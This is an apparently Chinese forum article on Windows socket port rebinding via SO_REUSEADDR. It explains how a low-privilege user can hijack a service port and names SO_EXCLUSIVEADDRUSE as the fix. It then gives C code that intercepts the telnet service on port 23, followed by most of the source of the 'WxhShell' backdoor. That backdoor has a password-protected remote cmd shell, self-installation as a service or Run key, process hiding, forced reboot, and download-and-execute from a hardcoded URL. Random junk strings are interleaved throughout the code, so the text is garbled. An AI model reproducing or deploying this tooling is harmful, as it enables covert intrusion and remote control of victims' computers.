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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _FP'SVa}D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @f`s%o `P?!2\/ saddr.sin_family = AF_INET; W
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saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7O<K?;I :[?65q{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A75z/O{ U[M~O*9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *nlDN4Y[ yt#~n_ 这意味着什么?意味着可以进行如下的攻击: j6#Vwc r =&#t(" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ug8>|wCE 1-}M5]Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2k+u_tj> H&uh$y@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \
k &ZA A9o"L.o) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Tzr'3m_
~RRS{\, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %:yVjb,Yf C~R,, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 csj4?]gI fF.sT7Az+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _bSn YhS KEo?Cy?%ff #include li9>zjz #include !'*1;OQ #include 8SoTABHV #include V=)' CCi{ DWORD WINAPI ClientThread(LPVOID lpParam); f[-$##S.~ int main() lK3{~\J- { zXML<?w WORD wVersionRequested; EM!9_8 f DWORD ret; `u$lSGl WSADATA wsaData; + I4s0 BOOL val; H0-v^H>^ SOCKADDR_IN saddr; ?xw0kXK4 SOCKADDR_IN scaddr; }Apn.DYbbf int err; NE+
;<mW SOCKET s; 'Xu3]'m* SOCKET sc; r>g5_"FL int caddsize; :(#5%6F HANDLE mt; tgC)vZ&a DWORD tid; MY l9 &8 wVersionRequested = MAKEWORD( 2, 2 ); F&a)mpFv3c err = WSAStartup( wVersionRequested, &wsaData ); `&i\q=u+ if ( err != 0 ) { J
}|6m9k! printf("error!WSAStartup failed!\n"); Zx)gLDd return -1; }-~LXL%!3 } ="de+S8W saddr.sin_family = AF_INET; LL+PAvMg v$#l]A_D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o8fY!C) ,M=s3D8C saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sf8F h saddr.sin_port = htons(23); YRu#JYti if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (: @7IWZf@ { dgT(]H printf("error!socket failed!\n"); i9D<jkc return -1; Wv]ODEd } .p(%gmOp# val = TRUE; Pxf /*z //SO_REUSEADDR选项就是可以实现端口重绑定的 .,\^{.E if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =Y5_@}\0 { 7KN+ @6!x printf("error!setsockopt failed!\n"); HNd? ' return -1; VM<$!Aaz } vrIWw?/z? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s&1}^'| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RaOLy \ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X=V2^zrt VcLzv{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }J $\<ZT { #]r'?GN ret=GetLastError(); +#9 4X)* printf("error!bind failed!\n"); Qcn;:6_&W return -1; |IDZMd0 } Mk}*ze0% listen(s,2); N1hj[G[H" while(1) tgY/8&$M { dUv(Pu(.# caddsize = sizeof(scaddr); _pxurq{ //接受连接请求 v^B2etiX_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); onl,R{,`0 if(sc!=INVALID_SOCKET) YT6dI"48 { O]KQ]zN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TQth"Cv2: if(mt==NULL) a3L-q>h { o{3>n"\w3 printf("Thread Creat Failed!\n"); *W2o$_Hs break; z
fu)X!t^ } >4J(\'}m| } 6G{ Q@ CloseHandle(mt); =yWdtBng } KbMan~Pb6 closesocket(s); /7x1Z*Hg WSACleanup(); e-#Vs{?|r return 0; y-{?0mLq } D4sp+ DWORD WINAPI ClientThread(LPVOID lpParam) 1u"#rC>7.4 { EI496bsRHm SOCKET ss = (SOCKET)lpParam; k"6&& SOCKET sc; ZEso2|
unsigned char buf[4096]; l#Vg=zrT SOCKADDR_IN saddr; J~C=o(r long num; ^0-e.@ DWORD val; y9.?5#aL DWORD ret; jB`:(5%RO //如果是隐藏端口应用的话,可以在此处加一些判断 wo;OkJKF //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]E6r)C saddr.sin_family = AF_INET; 3-'3w , saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E6z&pM8<8 saddr.sin_port = htons(23); yCN?kHG if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MBAj.J { '_5|9
} printf("error!socket failed!\n"); u60RuP& return -1; M6GiohI_"P } Mmg~Fn val = 100; BGHZL~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8H|ac[hXK2 { 9ENI%Jz ret = GetLastError(); UmY{2 nzY return -1; nxNHf3
} =-,'LOE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *f_A:`: { 3_`)QYU' ret = GetLastError(); +(y8q return -1; pRd'\+ } SPXvi0Jg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q^?a|l { H \'1.8g/ printf("error!socket connect failed!\n");
C|h Uyo closesocket(sc); #Ge_3^' closesocket(ss); jsx&h
Y%( return -1; <fF|AbC: } ib~i ^_p while(1) g[bu9i { *,IK4F6>: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (w:,iw# //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sc/$2gSG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +vxOCN4}v num = recv(ss,buf,4096,0); `(
w"{8laB if(num>0) >\w]i*% send(sc,buf,num,0); b*H*(}A6"' else if(num==0) ,II3b(l break; ?c+$9 num = recv(sc,buf,4096,0); V1pBKr)v if(num>0) s]|tKQGl, send(ss,buf,num,0); +cSc0: else if(num==0) -
jCj_@n break; |xg_z&dX } G]N3OIw&8 closesocket(ss); 9t6c*|60#n closesocket(sc); N-_APWA return 0 ; i q oXku } g(;OUkj$Zp w;j<$<4=7 =B5{ 7g\ ========================================================== #o7)eKeQ DBL@Mp[< 下边附上一个代码,,WXhSHELL q6w)zTpJGJ cz{`'VN}` ========================================================== 6u lx0$[ "lLh#W1d #include "stdafx.h" `lWGwFg g( M<d!j I9) #include <stdio.h> rq4g~e!S #include <string.h> IZ7o6Etti #include <windows.h> VsA J2g9L #include <winsock2.h> [rWBVfm #include <winsvc.h> X% j`rQk` #include <urlmon.h> DXI4DM"15I U|V,&RlbR #pragma comment (lib, "Ws2_32.lib") FHw%ynC #pragma comment (lib, "urlmon.lib") f?
@Qt<+k BDvkY #define MAX_USER 100 // 最大客户端连接数 #dL,d6a #define BUF_SOCK 200 // sock buffer B=L!WGl<! #define KEY_BUFF 255 // 输入 buffer U4fv$gV W"\}## #define REBOOT 0 // 重启 7@%qm|i>w #define SHUTDOWN 1 // 关机 [n)ak)_/
Um{) ?1 #define DEF_PORT 5000 // 监听端口 Sx'oa$J /MY's&D( #define REG_LEN 16 // 注册表键长度 SsTBjIX #define SVC_LEN 80 // NT服务名长度 O-
QT+] o>C,Db~L/ // 从dll定义API &qG/\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nh }-6|M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
8sG?|u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $<nRW*d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *3`R W<Z i/+^C($'f // wxhshell配置信息 tjwf;g}$ struct WSCFG { SyVXXk 0 int ws_port; // 监听端口 4X]/8%]V char ws_passstr[REG_LEN]; // 口令 /y{:N int ws_autoins; // 安装标记, 1=yes 0=no T&dNjx char ws_regname[REG_LEN]; // 注册表键名 JxtzI2 char ws_svcname[REG_LEN]; // 服务名 j0}wv~\ char ws_svcdisp[SVC_LEN]; // 服务显示名 +_J@8k char ws_svcdesc[SVC_LEN]; // 服务描述信息 zPp22 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +bLP+]7oZ int ws_downexe; // 下载执行标记, 1=yes 0=no nUpj+F# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" a<q9~QS char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,$:u^;V( !~9ASpqvPy }; >W] Wc4\ y,`n9[$K\ // default Wxhshell configuration #X'-/q`. struct WSCFG wscfg={DEF_PORT, \Hrcf +` "xuhuanlingzhe", 8xAI n>,_ 1, >8I~i:hn "Wxhshell", ]NTQF/ "Wxhshell", Z40k>t
D "WxhShell Service", OP=brLGu0 "Wrsky Windows CmdShell Service", [;,E cw^ "Please Input Your Password: ", /kG?I_z 1, N.q~\sF^ " http://www.wrsky.com/wxhshell.exe", ^g6v#]&WA "Wxhshell.exe" y4jiOhF<d }; bT2c&VPCE C;HEvq7 // 消息定义模块 ,= ApnNUgX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m<3. X"- char *msg_ws_prompt="\n\r? for help\n\r#>"; %/w-.?bX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; A"M;kzAfHM char *msg_ws_ext="\n\rExit."; ~3j+hN8< char *msg_ws_end="\n\rQuit."; )uHat# char *msg_ws_boot="\n\rReboot..."; /ojwOJ char *msg_ws_poff="\n\rShutdown..."; dNf9,P_} char *msg_ws_down="\n\rSave to "; Fz(;Eo3 W)r|9G8T char *msg_ws_err="\n\rErr!"; >$rH,Er char *msg_ws_ok="\n\rOK!"; @4*eH\3 RyX11XU char ExeFile[MAX_PATH]; TDR|*Cs int nUser = 0; \[{8E}_"^ HANDLE handles[MAX_USER]; {ObY1Y`ea int OsIsNt; =p[Sd*d Pzzzv^+ SERVICE_STATUS serviceStatus; ;q9Y%* SERVICE_STATUS_HANDLE hServiceStatusHandle; #@BhGB`9Qt U9`Co&Z2 // 函数声明 v2]N5 int Install(void); Szu@{lpP@ int Uninstall(void); wS|k3^OV% int DownloadFile(char *sURL, SOCKET wsh); H?r~% bh int Boot(int flag); Gq1C"s$4' void HideProc(void); o<48' >[ int GetOsVer(void); OjffN'a+N int Wxhshell(SOCKET wsl); {f4jE#a>v void TalkWithClient(void *cs); YR\(*LJL int CmdShell(SOCKET sock); Cd^1E]O0{ int StartFromService(void); x4kQG e( int StartWxhshell(LPSTR lpCmdLine); qmnl ]]r;}$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `dX0F=Ag? VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z"Lr5'} fGeie m // 数据结构和表定义 cCiDe`T\F SERVICE_TABLE_ENTRY DispatchTable[] = 8v/,<eARJ { ;>ml@@Z {wscfg.ws_svcname, NTServiceMain}, @Zhd/=2[ {NULL, NULL} )Dhx6xM[a }; imM#zy s^PsA9EAn // 自我安装 #G(ivRo int Install(void) _8PNMbv{ { c]k+ Sx&} char svExeFile[MAX_PATH]; FU*q9s ` HKEY key; s."N7F strcpy(svExeFile,ExeFile); *=O3kUoL G
9 &,` // 如果是win9x系统,修改注册表设为自启动 \uo{I~Qd if(!OsIsNt) { Zonn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #t Pc<p6m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W"\`UzOLQ RegCloseKey(key); ryzNM3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jc]k\U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #:Q\ RegCloseKey(key); b O}&i3.L; return 0; FD%OG6db]; } 7N OF^/nU } fY=:geB } z^9rM" else { ^g2Vz4u S1~EJa5H // 如果是NT以上系统,安装为系统服务 rR{KnM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x<w-j[{k_K if (schSCManager!=0) u^'X>n)oL# { rN .8- SC_HANDLE schService = CreateService >^,?0HP ( b,jo94.G schSCManager, GKUjtPu wscfg.ws_svcname, &>Z;>6J, wscfg.ws_svcdisp, N?, SERVICE_ALL_ACCESS, c%wztP;L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zv
mkb%8 SERVICE_AUTO_START, vq3:N' SERVICE_ERROR_NORMAL, C(>g4.-p8 svExeFile, nHF~a?|FT NULL, kQ2WdpZ/ NULL, F]N?_ bo NULL, |{,c2Ck:N NULL, Wi\k&V.mE NULL ApggTzh@ ); y^Q);siSy if (schService!=0) ^,f^YL; { |,H2ge CloseServiceHandle(schService); oRg,oy CloseServiceHandle(schSCManager); i>-#QKqJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 33~8@]b strcat(svExeFile,wscfg.ws_svcname); {od@Sl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P_p\OK*l]o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8B!QqLqK RegCloseKey(key); XW2ZQMos1 return 0; BT3yrq9 } 4Xwb`?}- } sS4V(:3s CloseServiceHandle(schSCManager); c|k(_#\B } *.1#+h/]3 } GlC (uhCpV O OABn* return 1; +nB0O/m'U } )>"Ky LZ&I<ID`- // 自我卸载 JFNjc:4{0 int Uninstall(void) \;Q!}_ K { XVo+ <& HKEY key; 0;OZ|;Z >'WTVj ` if(!OsIsNt) { ,R7j9#D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3rJ LLYR RegDeleteValue(key,wscfg.ws_regname); A9J{>f
RegCloseKey(key); ?s)6 YF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 +p1` RegDeleteValue(key,wscfg.ws_regname); [
`_sH\ RegCloseKey(key); W+4Bx=Mj return 0; Tfv@oPu } B
T
{cTj0W } 7Xh @%[ } 7*WO9R/ else { ![]6| G& 8|L 5nQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VyNU<} if (schSCManager!=0) z 9WeOs { R,OT\FQ< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }6{00er if (schService!=0) z?UEn#E2 { D)S_ p& if(DeleteService(schService)!=0) { 9.#")%_p CloseServiceHandle(schService); WqCj;Tj| CloseServiceHandle(schSCManager); LFYSur8 return 0; *UG?I|l|I } lKqFuLHwF CloseServiceHandle(schService); f%[xl6VE; } 2$o\`^dy CloseServiceHandle(schSCManager); ]xJ.OUJy } 2jkma :$' } ]zIIi%
BmYX8j] return 1; ]ZI@?H?
O } EF9Y=(0| q,;wD1_wG // 从指定url下载文件 qc3,/JO1 int DownloadFile(char *sURL, SOCKET wsh) Nm%#rZrN~Q { jj 'epbA HRESULT hr; L(1} PZ char seps[]= "/"; vuJEPn% char *token; I'2I'x\M char *file; Wu8zK=Ve( char myURL[MAX_PATH]; ) <w`:wD char myFILE[MAX_PATH]; L[`8 :}M (_gt!i{h strcpy(myURL,sURL); ;!3: 3; token=strtok(myURL,seps); D& &71X ' while(token!=NULL) .O&YdUo { S5UQ
file=token; NJQy*~P token=strtok(NULL,seps); 0&tr3!h\ } UDgX
A 'S&Zq: GetCurrentDirectory(MAX_PATH,myFILE); ETdN<}m strcat(myFILE, "\\"); rD !GEU strcat(myFILE, file); q; C6ID` send(wsh,myFILE,strlen(myFILE),0); Y'+KU/H send(wsh,"...",3,0); E!L_"GW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J*Cf1 D5! if(hr==S_OK) xjrL@LO# return 0; 3hA5"G+7 else g!cW`B' return 1; QDb8W*&< mSk";UCn } &!wtH s={IKU&m[ // 系统电源模块 wZKmU int Boot(int flag) 4.~ <|T8 { vM:c70= HANDLE hToken; w`dSc@ : TOKEN_PRIVILEGES tkp; K @:t6 7m:TY>{ if(OsIsNt) { q_"w,28 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )Z\Zw~L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |M18/{ tkp.PrivilegeCount = 1; p
)WRsJ8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {L7+lz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5Ux= 5a if(flag==REBOOT) { }2Y`Lr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,8!'jE[d return 0; 10N0?K" } K=pG,[ChA else { [Ov/&jD" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7)FYAk$@ return 0; J]Rh+@r. } xokA_3,1F } Q"3gvIyc else { 19%zcYTe if(flag==REBOOT) { E[BM0.#bZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^E~1%Md. return 0; Deq@T { } o5m]Gqa else { K%u>'W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8m[o*E.4F return 0; :z%Zur+n c } QcjsQTAbk } w U1[/ c}H}fyu%n return 1; @twi<U_ } "EE(O9q RPjw12Ly // win9x进程隐藏模块 aadw#90 void HideProc(void) UXwI?2L { Zb'a+8[ |Nadk(} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bXqTc2>= if ( hKernel != NULL ) `\/\C[Gg { Lg7dJnf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /-(OJN5F^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t[AA= FreeLibrary(hKernel); j9-.bGtm?. } ZkNet>9 V6k Dyl( return; 5XuQQ!` } 8m#y>` +"|TPKas // 获取操作系统版本 c6iFha;db int GetOsVer(void) -"XHN=H { 0_=^#r4Mu OSVERSIONINFO winfo; lsgZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F;Q'R|HQ GetVersionEx(&winfo); :8N{;aui if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s{42_O?,c return 1; $+,kibk*R else
^b^buCYw return 0; H29vuGQjq } 6y"T;.FAo 2(P<TP._E // 客户端句柄模块 Ri*mu*r\} int Wxhshell(SOCKET wsl) 8v=t-GJW { E5a7p. SOCKET wsh; hZ')<@hNP struct sockaddr_in client; #T8PgmR DWORD myID; EOS[MjX+J G-#rWZ& while(nUser<MAX_USER) !wZIXpeL { "s@q(J int nSize=sizeof(client); .\3gb6S} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A-h[vP!v| if(wsh==INVALID_SOCKET) return 1; Z@AN0?,`~o w8#ji 1gX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aPX'CG4m if(handles[nUser]==0) cs[nFfM closesocket(wsh); `X B$t?xi else =%B}8$.| nUser++;
E/gfX
} :w7?]y6~S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J6@RIia s=Kz9WLy return 0; d^0-|sx } anORoK. $F]*B
` // 关闭 socket =6=l.qyYK void CloseIt(SOCKET wsh) mqY=N~/O { 6t'.4SR closesocket(wsh); A[^k4> nUser--; |`+ (O ExitThread(0); ^Of\l:q* } IiY%y:!g PeSTUR& // 客户端请求句柄 om6`>I* void TalkWithClient(void *cs) _<?z-K_;I { q3|SZoN "5<YN# SOCKET wsh=(SOCKET)cs; wp@6RJ char pwd[SVC_LEN]; (Sj<>xgd char cmd[KEY_BUFF]; x6vkd%fCj char chr[1]; L\"eE'A int i,j; w*u.z(:a` Vq^b_^ while (nUser < MAX_USER) {
vF'IK, rY$wC% if(wscfg.ws_passstr) { <t"fL
RX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .73sY5hdTN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9MbF: //ZeroMemory(pwd,KEY_BUFF); AR
g]GV/L i=0; y4H/CH$% while(i<SVC_LEN) { r'@7aT&_ \t? ;p-+ta // 设置超时 CYM>4C~>JW fd_set FdRead; Jt)J1CAYo struct timeval TimeOut; ;h#Q!M&e# FD_ZERO(&FdRead); J@rBrKC FD_SET(wsh,&FdRead); `'pfBVBz TimeOut.tv_sec=8; .4y44: T TimeOut.tv_usec=0; \8k4v#wH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B~ j3!? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C @P$RVS }x_:v!G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H8E#r*"-m pwd =chr[0]; \^lDd~MWG if(chr[0]==0xd || chr[0]==0xa) { K'[kl' pwd=0; V)ITk\ break; }G"bD8+ } yEVnG`
1
i++; /KlSI<T@ } `*B6T7p1 k~JTQh*,w // 如果是非法用户,关闭 socket /8/N if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2TQ<XHA\ } r\q|DZ7 | }d+BD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hKems3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tHFUV\D;, %htwq ]rZd while(1) { $7p0<<Nck ^j1iCL! ZeroMemory(cmd,KEY_BUFF); 1.nYT* {$C"yksr // 自动支持客户端 telnet标准 _t6.9CXl j=0; M2A_T.F=H while(j<KEY_BUFF) { c3O&sa
V! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4u1au1c cmd[j]=chr[0]; Z{_YH7_ if(chr[0]==0xa || chr[0]==0xd) { (?P\;yDG cmd[j]=0; z/pxZB~" break; 0 R>!jw } L;
<Pod j++; IkQ,#Bsb[ } bFJ>+ {# 9Wdx"g52_D // 下载文件 r$,Xv+} if(strstr(cmd,"http://")) { Ubh)}G,Mg send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z
jXn,W]~ if(DownloadFile(cmd,wsh)) 35fj-J$8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>xEE else H$6;{IUz~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M4t:)!dji? } ZD4:'m`T/ else { sTxbh2 mwF{z.t" switch(cmd[0]) { !"
@<! S]gV! Q4% // 帮助 <
WQ
~X<1D case '?': { <Q_E3lQy/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 48.4GwL7 break; 1CS\1[E }
$qiM_06 // 安装 *^ua2s. case 'i': { 2
yRUw if(Install()) ixB"6O send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'lOpoWDL else c']m5q39' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :{aiw?1 break; +O7GgySx } n -xCaq // 卸载 _DYe<f. case 'r': { Pt/F$A{Cj if(Uninstall()) b\UE+\a& send(wsh,msg_ws_err,strlen(msg_ws_err),0); )vGxF}I3 else O*>`md?MH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); perhR!#J break; 9e;:(jl^ } pR!m // 显示 wxhshell 所在路径 |Pv)&'B" case 'p': { :bqUA(k char svExeFile[MAX_PATH]; HHT8_c'CC# strcpy(svExeFile,"\n\r"); ,9$| "e& strcat(svExeFile,ExeFile); ?',GR aD send(wsh,svExeFile,strlen(svExeFile),0); <lRjh7 break; )~ ^`[` } GGsAisF"N // 重启 MKX58y{+ case 'b': {
4G j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }|],UXk{xB if(Boot(REBOOT)) CxrsP. send(wsh,msg_ws_err,strlen(msg_ws_err),0); )eH?3"" else { #`%V/ #YK closesocket(wsh); JHJ]BMm ExitThread(0); `KieN/d% } s@*i break; {O4&HW% } U XOf // 关机 %kuUQ%W1 case 'd': { Pje1,B q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _lfS"ae if(Boot(SHUTDOWN)) lr)9 U7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); cvjZ$Fcc%( else { .qCI!%fg closesocket(wsh); 8`Tj *7Y= ExitThread(0); ksyQ_4^SO } pV$A?b"?* break; 7s0pH+ } "7w=LhzV[$ // 获取shell 'T]Ok\ case 's': { %<MI]D CmdShell(wsh); HE+D]7^ closesocket(wsh); 'wo}1^V ExitThread(0); X*`b}^T break; 6Z;D`X,5 } "||'
-(0 // 退出 Rpxg
5 case 'x': { {#z[iiB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fbJa$ CloseIt(wsh); SOluTFxUw break; S"@@BQ#mf } Q 34-a"6) // 离开 ;33SUgX case 'q': { J>fq5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); CT(HTu closesocket(wsh); Wli!s~c5Fo WSACleanup(); m(CsO|pz exit(1); (w
Q,($@ break; ^j2z\yo } A%~t[ H } "P$')uwE }
va!fJ fH%C&xj'& // 提示信息 ,W>-MPJn[8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nE4rB\ } yjM!M| } Us3zvpy)o .~|[*
q\ return; ;bFd*8?; } ~l*[=0} QfL8@W~e // shell模块句柄 0<nW
nD,z int CmdShell(SOCKET sock) 5[P^O6' { AH^'E STARTUPINFO si; 6df`]sc ZeroMemory(&si,sizeof(si)); o}yA{<" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |oR#j
` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vhN6_XD PROCESS_INFORMATION ProcessInfo; bUc++M char cmdline[]="cmd"; hPt=j{aJ%< CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^CB@4$! return 0; PrF('PH7i } 3lgD,_& x6Q_+!mnk // 自身启动模式 \psO$TxF= int StartFromService(void) fF.+{-. { +B4 i,]lCx typedef struct R[H#av { \M~uNWv| DWORD ExitStatus; VA%4ssy DWORD PebBaseAddress; 6.vwK3\>~ DWORD AffinityMask; 4r9AU mJqw DWORD BasePriority; 8cj}9}k ULONG UniqueProcessId; ngzQVaB9 ULONG InheritedFromUniqueProcessId; dDl_Pyg4K } PROCESS_BASIC_INFORMATION; @`HW0Y_: aQV? } PROCNTQSIP NtQueryInformationProcess; KD'}9{F, j{HIdP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .xtam 8@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4!Lj\.!$ * K0aR! HANDLE hProcess; f_IsY+@ PROCESS_BASIC_INFORMATION pbi; -90X^] %/RT}CBBsW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c\rP"y|S}; if(NULL == hInst ) return 0; rC6EgWt<V T!>sL=uf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 